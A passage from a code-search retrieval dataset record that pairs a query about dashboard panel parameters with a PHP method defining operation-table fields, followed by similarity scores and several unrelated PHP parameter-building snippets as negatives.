[ "0.64826035", "0.64055216", "0.6086743", "0.6069227", "0.60674614", "0.60576385", "0.6051238", "0.60296106", "0.5929624", "0.59282404", "0.58964515", "0.5848153", "0.58198047", "0.5807391", "0.5792908", "0.5785064", "0.5780741", "0.57454145", "0.57454145", "0.57454145", "0.57454145", "0.57071775", "0.5703726", "0.5694592", "0.5672815", "0.5672815", "0.5669857", "0.56664616", "0.56442976", "0.5622195", "0.5620541", "0.5609442", "0.5609442", "0.5609442", "0.55919397", "0.55822307", "0.55346394", "0.55325294", "0.55317366", "0.55261767", "0.551594", "0.5513174", "0.5513174", "0.54960144", "0.54858917", "0.546771", "0.5458193", "0.5454637", "0.5451676", "0.5447489", "0.5447489", "0.5435963", "0.5412357", "0.5409813", "0.54097664", "0.5401296", "0.5398143", "0.5395876", "0.53873914", "0.53771394", "0.53715867", "0.53715867", "0.53684556", "0.53633696", "0.535735", "0.5351211", "0.5351211", "0.5351211", "0.5351211", "0.5351211", "0.5351211", "0.5351211", "0.5351211", "0.5338547", "0.53340685", "0.53327155", "0.53245187", "0.53140837", "0.53011364", "0.5300293", "0.52971816", "0.52947974", "0.52831423", "0.5275818", "0.5273935", "0.52680755", "0.52608967", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163", "0.5253163" ]
0.0
-1
Generate the parameters to use when render panel operation in the dashboard view.
protected function getOperationPanel(FormInterface $form): array { return [ 'entity_name' => 'operation', 'search_width' => '235px', 'form' => $form->createView(), 'fields' => [ [ 'name' => 'dateAt', 'label' => 'Date', 'render' => 'date', 'date_format' => 'DD/MM/YYYY', // moment date format https://momentjs.com/docs/#/displaying/format/ ], [ 'name' => 'type', ], [ 'name' => 'stock.name', 'label' => 'Stock', 'render' => 'check', 'check' => 'stock', ], [ 'name' => 'stock.symbol', 'label' => 'Symbol', 'render' => 'check', 'check' => 'stock', ], [ 'name' => 'stock.market.symbol', 'label' => 'Market', 'render' => 'check', 'check' => 'stock', ], [ 'name' => 'price', 'render' => 'money', 'class' => 'js-manager-table-extra-cell-hide', ], [ 'name' => 'amount', 'label' => 'Amt', ], [ 'name' => 'value', 'render' => 'money', ], [ 'name' => 'commissions', 'render' => 'money', 'col_with' => '120', ], ] ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function get_parameters() {\n $r = array_merge(\n iform_map_get_map_parameters(),\n iform_report_get_minimal_report_parameters(),\n array(\n array(\n 'name' => 'downloadOwnDataOnly',\n 'caption' => 'Download own data only',\n 'description' => 'If ticked then the user is only allowed to download data when showing just their own data.',\n 'type' => 'checkbox',\n 'default' => false,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLink',\n 'caption' => 'Include edit link',\n 'description' => 'Include an edit link for each row that was input by the current user',\n 'type' => 'checkbox',\n 'default' => true,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLinkPath',\n 'caption' => 'Path to page used for edits',\n 'description' => 'The path to the page used for edits. This is just the site relative path, e.g. http://www.example.com/index.php?q=enter-records needs '.\n 'to be input as just enter-records. The path is called with the id of the record in a parameter called occurrence_id.',\n 'type' => 'text_input',\n 'default' => '',\n 'required' => false\n ),\n array(\n 'name' => 'columns_config',\n 'caption' => 'Columns Configuration',\n 'description' => 'Define a list of columns with various configuration options when you want to override the '.\n 'default output of the report.',\n 'type' => 'jsonwidget',\n 'schema' => '{\n \"type\":\"seq\",\n \"title\":\"Columns List\",\n \"sequence\":\n [\n {\n \"type\":\"map\",\n \"title\":\"Column\",\n \"mapping\": {\n \"fieldname\": {\"type\":\"str\",\"desc\":\"Name of the field to output in this column. Does not need to be specified when using the template option.\"},\n \"display\": {\"type\":\"str\",\"desc\":\"Caption of the column, which defaults to the fieldname if not specified.\"},\n \"actions\": {\n \"type\":\"seq\",\n \"title\":\"Actions List\",\n \"sequence\": [{\n \"type\":\"map\",\n \"title\":\"Actions\",\n \"desc\":\"List of actions to make available for each row in the grid.\",\n \"mapping\": {\n \"caption\": {\"type\":\"str\",\"desc\":\"Display caption for the action\\'s link.\"},\n \"visibility_field\": {\"type\":\"str\",\"desc\":\"Optional name of a field in the data which contains true or false to define the visibility of this action.\"},\n \"img\": {\"type\":\"str\",\"desc\":\"Set img to the path to an image to use an image for the action instead of a text caption - the caption '.\n 'then becomes the image\\'s title. The image path can contain {rootFolder} to be replaced by the root folder of the site, in this '.\n 'case it excludes the path parameter used in Drupal when dirty URLs are used (since this is a direct link to a URL).\"},\n \"url\": {\"type\":\"str\",\"desc\":\"A url that the action link will point to, unless overridden by JavaScript. The url can contain tokens which '.\n 'will be subsituted for field values, e.g. for http://www.example.com/image/{id} the {id} is replaced with a field called id in the current row. '.\n 'Can also use the subsitution {currentUrl} to link back to the current page, {rootFolder} to represent the folder on the server that the current PHP page is running from, and '.\n '{imageFolder} for the image upload folder\"},\n \"urlParams\": {\n \"type\":\"map\",\n \"subtype\":\"str\",\n \"desc\":\"List of parameters to append to the URL link, with field value replacements such as {id} begin replaced '.\n 'by the value of the id field for the current row.\"\n },\n \"class\": {\"type\":\"str\",\"desc\":\"CSS class to attach to the action link.\"},\n \"javascript\": {\"type\":\"str\",\"desc\":\"JavaScript that will be run when the link is clicked. Can contain field value substitutions '.\n 'such as {id} which is replaced by the value of the id field for the current row. Because the javascript may pass the field values as parameters to functions, '.\n 'there are escaped versions of each of the replacements available for the javascript action type. Add -escape-quote or '.\n '-escape-dblquote to the fieldname. For example this would be valid in the action javascript: foo(\\\"{bar-escape-dblquote}\\\"); '.\n 'even if the field value contains a double quote which would have broken the syntax.\"}\n }\n }]\n },\n \"visible\": {\"type\":\"bool\",\"desc\":\"Should this column be shown? Hidden columns can still be used in templates or actions.\"},\n \"template\": {\"type\":\"txt\",\"desc\":\"Allows you to create columns that contain dynamic content using a template, rather than just the output '.\n 'of a field. The template text can contain fieldnames in braces, which will be replaced by the respective field values. '.\n 'Note that template columns cannot be sorted by clicking grid headers.\" }\n }\n }\n ]\n}',\n 'required' => false,\n 'group' => 'Report Settings'\n ),\n )\n );\n // @todo Set the default report name\n foreach ($r as &$param) {\n if ($param['name']==='report_name') {\n $param['default'] = 'library/occurrences/explore_list';\n $param['description'] .= '<br/>The report used must meet a set of criteria to be used for this form, as illustrated by the library/occurrences/explore_list '.\n 'report. The report should have the following columns:<br/>'.\n '<strong>belongs_to_user</strong> - a boolean indicating if the record belongs to (i.e. is editable by) the logged in user.<br/>'.\n '<strong>certainty</strong> - text output which identifies the certainty of the record if known. This is appended to the word '.\n 'certainty to make a class which is attached to the row HTML, allowing you to use CSS to style the row output. E.g. if the report '.\n 'outputs C in this column then the row HTML will have a class certaintyC.<br/>'.\n '<br/>The report should have the following parameters:<br/>'.\n '<strong>location_id</strong> - Warehouse ID of the user\\'s preferred recording location passed automatically from the user\\'s account. Only applied if own_locality is 1.<br/>'.\n '<strong>ownLocality</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the location identified by location_id.<br/>'.\n '<strong>taxon_groups</strong> Takes a comma separated list of taxon_group_ids as a string suitable for insertion into an SQL in (...) clause. '.\n 'Will be passed the user\\'s preferred species groups from their user account if the Easy Login feature is installed. Only applied if ownGroups is 1.<br/>'.\n '<strong>ownGroups</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the taxon groups identified by taxon_groups.<br/>'.\n '<strong>currentUser</strong> Warehouse User ID of the logged in user, used to filter records to their own data. Only applied if ownData is 1.<br/>'.\n '<strong>ownData</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the user\\'s own records.';\n }\n elseif ($param['name']==='param_presets')\n $param['default'] = \"smpattrs=\\noccattrs=\\nlocation_id={profile_location}\\ntaxon_groups={profile_taxon_groups}\\ncurrentUser={profile_indicia_user_id}\";\n elseif ($param['name']==='param_defaults')\n $param['default'] = \"idlist=\\nsearchArea=\";\n elseif ($param['name']==='standard_controls')\n $param['default'] = \"layerSwitcher\\npanZoomBar\";\n }\n return $r;\n }", "public function getPanel()\n {\n $this->_request = Zend_Controller_Front::getInstance()->getRequest();\n $viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer');\n $viewVars = $viewRenderer->view->getVars();\n $vars = '';\n if ($this->_request->isPost())\n {\n $vars .= '<h4>$_POST</h4>'\n . '<div id=\"ZFDebug_post\">' . $this->_cleanData($this->_request->getPost()) . '</div>';\n }\n \n if (isset($_SESSION)) {\n \t$vars .= '<h4>$_SESSION</h4>'\n\t\t\t\t. '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($_SESSION) . '</div>';\n }\n\n $vars .= '<h4>$_COOKIE</h4>'\n . '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($this->_request->getCookie()) . '</div>'\n . '<h4>Request</h4>'\n . '<div id=\"ZFDebug_requests\">' . $this->_cleanData($this->_request->getParams()) . '</div>'\n . '<h4>View vars</h4>'\n . '<div id=\"ZFDebug_vars\">' . $this->_cleanData($viewVars) . '</div>';\n return $vars;\n }", "public function panel() {\n if(Auth::isLoggedIn()) {\n $this->view->render('admin/module/liveEdit/panel', [\n 'nodes' => $this->get($this->route),\n 'user' => $this->user,\n 'route' => $this->route,\n 'template' => $this->template,\n 'languages' => $this->em->all(Language::class),\n 'current_language' => $this->em->findBy(Language::class ,[\n 'code' => $_SESSION['Lampion']['language']\n ])[0],\n 'name' => $this->routeNames[$this->route] ?? null\n ]);\n }\n }", "public function panel (\\stdClass $param);", "public static function render_student_settings_popup_parameters() {\n return new external_function_parameters(\n array(\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n )\n );\n }", "public function getParamsToView();", "public function getDesignParams();", "public function getParameters() {\r\n $paramArray = array(\r\n 'optionsName' => $this->optionsName,\r\n 'userName' => $this->userName,\r\n 'isActive' => $this->isActive,\r\n 'activeMeasurement' => $this->activeMeasurement,\r\n 'bloodPressureUnits' => $this->bloodPressureUnits,\r\n 'calorieUnits' => $this->calorieUnits,\r\n 'exerciseUnits' => $this->exerciseUnits,\r\n 'glucoseUnits' => $this->glucoseUnits,\r\n 'sleepUnits' => $this->sleepUnits,\r\n 'weightUnits' => $this->weightUnits,\r\n 'timeFormat' => $this->timeFormat,\r\n 'durationFormat' => $this->durationFormat,\r\n 'showTooltips' => $this->showTooltips,\r\n 'showSecondaryCols' => $this->showSecondaryCols,\r\n 'showDateCol' => $this->showDateCol,\r\n 'showTimeCol' => $this->showTimeCol,\r\n 'showNotesCol' => $this->showNotesCol,\r\n 'numRows' => $this->numRows,\r\n 'showTable' => $this->showTable,\r\n 'tableSize' => $this->tableSize,\r\n 'chartPlacement' => $this->chartPlacement,\r\n 'showFirstChart' => $this->showFirstChart,\r\n 'showSecondChart' => $this->showSecondChart,\r\n 'firstChartType' => $this->firstChartType,\r\n 'secondChartType' => $this->secondChartType,\r\n 'chartLastYear' => $this->chartLastYear,\r\n 'chartGroupDays' => $this->chartGroupDays,\r\n 'individualBloodPressureChartStart' => $this->individualBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'individualBloodPressureChartEnd' => $this->individualBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartStart' => $this->dailyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartEnd' => $this->dailyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartStart' => $this->weeklyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartEnd' => $this->weeklyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartStart' => $this->monthlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartEnd' => $this->monthlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartStart' => $this->yearlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartEnd' => $this->yearlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartStart' => $this->individualCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartEnd' => $this->individualCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartStart' => $this->dailyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartEnd' => $this->dailyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartStart' => $this->weeklyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartEnd' => $this->weeklyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartStart' => $this->monthlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartEnd' => $this->monthlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartStart' => $this->yearlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartEnd' => $this->yearlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'individualExerciseChartStart' => $this->individualExerciseChartStart->format(self::DATE_FORMAT),\r\n 'individualExerciseChartEnd' => $this->individualExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartStart' => $this->dailyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartEnd' => $this->dailyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartStart' => $this->weeklyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartEnd' => $this->weeklyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartStart' => $this->monthlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartEnd' => $this->monthlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartStart' => $this->yearlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartEnd' => $this->yearlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartStart' => $this->individualGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartEnd' => $this->individualGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartStart' => $this->dailyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartEnd' => $this->dailyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartStart' => $this->weeklyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartEnd' => $this->weeklyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartStart' => $this->monthlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartEnd' => $this->monthlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartStart' => $this->yearlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartEnd' => $this->yearlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'individualSleepChartStart' => $this->individualSleepChartStart->format(self::DATE_FORMAT),\r\n 'individualSleepChartEnd' => $this->individualSleepChartEnd->format(self::DATE_FORMAT),\r\n 'dailySleepChartStart' => $this->dailySleepChartStart->format(self::DATE_FORMAT),\r\n 'dailySleepChartEnd' => $this->dailySleepChartEnd->format(self::DATE_FORMAT),\r\n 'weeklySleepChartStart' => $this->weeklySleepChartStart->format(self::DATE_FORMAT),\r\n 'weeklySleepChartEnd' => $this->weeklySleepChartEnd->format(self::DATE_FORMAT),\r\n 'monthlySleepChartStart' => $this->monthlySleepChartStart->format(self::DATE_FORMAT),\r\n 'monthlySleepChartEnd' => $this->monthlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'yearlySleepChartStart' => $this->yearlySleepChartStart->format(self::DATE_FORMAT),\r\n 'yearlySleepChartEnd' => $this->yearlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'individualWeightChartStart' => $this->individualWeightChartStart->format(self::DATE_FORMAT),\r\n 'individualWeightChartEnd' => $this->individualWeightChartEnd->format(self::DATE_FORMAT),\r\n 'dailyWeightChartStart' => $this->dailyWeightChartStart->format(self::DATE_FORMAT),\r\n 'dailyWeightChartEnd' => $this->dailyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartStart' => $this->weeklyWeightChartStart->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartEnd' => $this->weeklyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartStart' => $this->monthlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartEnd' => $this->monthlyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartStart' => $this->yearlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartEnd' => $this->yearlyWeightChartEnd->format(self::DATE_FORMAT)\r\n );\r\n \r\n return $paramArray;\r\n }", "public function render_panel_templates()\n {\n }", "protected function generateParams()\n {\n $qty = Cart::count();\n\n $templatePart = $qty ? '_cart-content' : '_cart-empty';\n\n $html = view(\"website.cart.$templatePart\")->render();\n\n return compact('html', 'qty');\n }", "public static function student_settings_popup_data_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'teamnumbers' => new external_value(PARAM_INT, 'team numbers int', VALUE_DEFAULT, 10),\n 'teamusernumbers' => new external_value(PARAM_INT, 'team user numbers int', VALUE_DEFAULT, 3),\n 'teamuserallowenddate' => new external_value(PARAM_INT, 'team user allowend date int', VALUE_DEFAULT, null),\n 'teamuserenddate' => new external_value(PARAM_INT, 'team user end date int', VALUE_DEFAULT, null),\n 'teamuserendmonth' => new external_value(PARAM_INT, 'team user end month int', VALUE_DEFAULT, null),\n 'teamuserendyear' => new external_value(PARAM_INT, 'team user end year int', VALUE_DEFAULT, null),\n 'teamuserendhour' => new external_value(PARAM_INT, 'team user end hour int', VALUE_DEFAULT, null),\n 'teamuserendminute' => new external_value(PARAM_INT, 'team user end minute int', VALUE_DEFAULT, null),\n )\n );\n }", "protected function defineParams() {\n return [\n 'state' => $this->state,\n 'rights' => $this->document->getRights(),\n 'config' => false,\n 'active' => false,\n ];\n }", "function _completeModuleParamsArray()\n {\n $params = array(\n 'show_numbers'=>false,\n 'fields'=>'',\n 'show_comments'=>false,\n 'comments_words'=>10,\n 'tn_mode'=>'crop',\n 'tn_size'=>'100x100',\n 'tn_show'=>true,\n 'tn_position'=>'left',\n 'columns'=>1,\n 'orientation'=>'horizontal',\n 'slideshow'=>false,\n 'slideshow_interval'=>6,\n 'nav_position'=>'bottom'\n );\n\n $this->params['module'] = array_merge($params, $this->params['module']);\n }", "public static function data_for_competencies_manage_page_parameters() {\n $competencyframeworkid = new external_value(\n PARAM_INT,\n 'The competency framework id',\n VALUE_REQUIRED\n );\n $search = new external_value(\n PARAM_RAW,\n 'A search string',\n VALUE_DEFAULT,\n ''\n );\n $params = array(\n 'competencyframeworkid' => $competencyframeworkid,\n 'search' => $search\n );\n return new external_function_parameters($params);\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input',\n 'required'=>false\n ));\n }", "private function accessory_params() {\n return [\n 'name' => $this->params['name'],\n 'release_date' => date('Y-m-d', strtotime($this->params['release_date'])),\n 'description' => $this->params['description'],\n 'producer' => $this->params['producer'],\n 'console_id' => $this->params['console_id']\n ];\n }", "public function renderParamJs() {\n $script = '<script type=\"text/javascript\"> if(typeof TAMI.pagedata ==\"undefined\"){TAMI.pagedata={}; } ';\n\n foreach ($this->paramjs as $key => $val) {\n $script = $script . ' TAMI.pagedata.' . $key . '=' . json_encode($val) . '; ';\n }\n\n $script = $script . ' </script>';\n\n return $script;\n }", "public static function get_parameters() {\n return array(array(\n 'name' => 'groups_page_path',\n 'caption' => 'Path to main groups page',\n 'description' => 'Path to the Drupal page which my groups are listed on.',\n 'type' => 'text_input'\n ), array(\n 'name' => 'group_home_path',\n 'caption' => 'Path to the group home page',\n 'description' => 'Path to the Drupal page which hosts group home pages.',\n 'type' => 'text_input'\n ));\n }", "public static function render_block_html_page_parameters() {\n return new external_function_parameters(\n array(\n 'courseid' => new external_value(PARAM_INT, 'course id int', VALUE_DEFAULT, null),\n 'activityid' => new external_value(PARAM_INT, 'activity id int', VALUE_DEFAULT, null),\n 'moduletype' => new external_value(PARAM_RAW, 'moduletype text', VALUE_DEFAULT, null),\n 'selectgroupid' => new external_value(PARAM_RAW, 'selectgroupid text', VALUE_DEFAULT, null),\n )\n );\n }", "public static function get_params() {\n\t\t\t$params = array(\n\t\t\t\t// General\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading',\n\t\t\t\t\t'value' => 'Sample Heading',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textarea_html',\n\t\t\t\t\t'holder' => 'div',\n\t\t\t\t\t'heading' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed faucibus feugiat convallis. Integer nec eros et risus condimentum tristique vel vitae arcu.',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Element ID', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'unique_id',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'unique_id' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'classes',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_hover_animations',\n\t\t\t\t\t'heading' => esc_html__( 'Hover Animation', 'total-theme-core'),\n\t\t\t\t\t'param_name' => 'hover_animation',\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\t// Style\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'style',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Default', 'total-theme-core' ) => '',\n\t\t\t\t\t\tesc_html__( 'Plain', 'total-theme-core' ) => 'one',\n\t\t\t\t\t\tesc_html__( 'Boxed Rounded', 'total-theme-core' ) => 'two',\n\t\t\t\t\t\tesc_html__( 'Boxed Square', 'total-theme-core' ) => 'three',\n\t\t\t\t\t\tesc_html__( 'Outline', 'total-theme-core' ) => 'four',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Shadow', 'total' ),\n\t\t\t\t\t'param_name' => 'shadow',\n\t\t\t\t\t'value' => vcex_shadow_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Text Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'text_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'padding',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'background',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Border Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_color',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_radius',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three', 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Heading\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_color',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Tag', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_type',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'h2',\n\t\t\t\t\t'choices' => 'html_tag',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_family_select',\n\t\t\t\t\t'heading' => esc_html__( 'Font Family', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_font_family',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_weight',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_transforms',\n\t\t\t\t\t'heading' => esc_html__( 'Text Transform', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_transform',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => 